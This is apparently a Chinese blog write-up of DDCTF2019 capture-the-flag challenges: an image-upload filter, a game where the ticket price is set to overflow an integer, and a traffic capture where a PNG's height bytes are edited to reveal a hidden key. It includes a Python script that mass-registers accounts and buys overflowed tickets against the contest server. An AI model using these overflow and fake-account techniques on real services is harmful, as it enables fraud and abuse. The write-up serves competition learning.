DDCTF2019 web-writeup(2)

3 upload-IMG

上传照片之后发现提示需要包含phpinfo
写入phpinfo再次上传发现还是提示需要包含
发现它上传后网页会显示上传的照片
尝试下载后打开,和上传的图片比对后发现phpinfo被过滤了



猜测是二次过滤

4 大吉大利今晚吃鸡

题目提示要购买入门券并淘汰对手
购买提示余额不足
抓包更改金额小于2000的提示券的金额必须是2000
大于2000的即可更改成功
猜测是整数溢出

抓包更改金额,购买成功


进入游戏页面之后,可以看到用户的id和ticket值
点击移除对手需要输入id和ticket值
随便尝试注册一个用户获得两个值输入发现剩余对手-1
总共要移除100个对手
构造脚本

#coded by 某大佬
import requests

users = {}

def regist(name,pwd='aaaaaaaa'):
    url = 'http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s'%(name,pwd)
    r = requests.get(url=url)
    cookies = r.cookies.get_dict()
    # cookies = requests.utils.dict_from_cookiejar(r.cookies)
    users[cookies['user_name']] = cookies['REVEL_SESSION']
    return cookies['user_name'],cookies['REVEL_SESSION']

def buyticket(name,session):
    url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904'
    header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
    r = requests.get(url=url,headers=header)

    bill_id = eval(r.text)['data'][0]['bill_id']#,requests.utils.dict_from_cookiejar(r.cookies)
    payticket(bill_id,name,session)

def payticket(bill_id,name,session):
    url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
    header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
    r = requests.get(url=url,headers=header)
    myid = eval(r.text)["data"][0]["your_id"]
    ticket = eval(r.text)["data"][0]["your_ticket"]
    getflag(myid,ticket)

def getflag(id,ticket):
    url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s'%(id,ticket)
    header={'Cookie':'user_name=%s; REVEL_SESSION=%s'.format(adminUser,adminSession),'Referer': 'http://117.51.147.155:5050/index.html'}
    r = requests.get(url=url,headers=header)
    print eval(r.text)

adminUser , adminSession = regist('getMyFlag11')
print adminUser,adminSession #important
buyticket(adminUser,adminSession)

for x in range(200,301):
    regist('newUser%s'%(x))
for n in users:
    if n != adminUser:
        buyticket(n,users[n])

脚本是一个大佬写的 如果不可以转载的话请大佬和我说
感谢大佬~

脚本需要运行多次,因为好像有一些用户注册了之后将会赋予重复id,重复id再被移除一次不算数

查看flag —— 登录脚本注册的adminUser账号
进入http://117.51.147.155:5050/index.html#/main/index

5 流量分析

wireshark打开流量包,导出http分组



下载6420分组的图片

过滤表达式http.request.method == POST
找到分组1782 还有另一张图片
右击-追踪流-http流
要恢复里面post的png图像 - 点击显示和保存转为原始数据 - Save as



删除多余的数据
png图像开头为89 50 4E 47 —— ‰PNG(每个png文件相同)
结束为 49 45 4E 44 ——IEND(每个png文件相同)
还有四个字节 AE 42 60 82 (每个文件不同)
另存为再次打开

这里有个坑点:图片高宽出现问题,如果是linux/mac系统,无法直接打开图片;windows系统可以直接打开

打开是个钥匙的图案 猜测是图片隐写
49 48 44 52 IHDR标识(每个png文件都有)
00 00 06 3E 表示图片的宽 1598像素
00 00 02 18 表示图片长 536像素
更改图片长为00 00 06 3E 获得密码key:gKvN4eEm

导出的http分组中有一个网站http://tools.jb51.net/aideddesign/img_add_info
是图片在线解密,输入图片和密码,得到flag!

希望下次比赛可以拿奖啊!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,830评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,992评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,875评论 0 331
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,837评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,734评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,091评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,550评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,217评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,368评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,298评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,350评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,027评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,623评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,706评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,940评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,349评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,936评论 2 341

推荐阅读更多精彩内容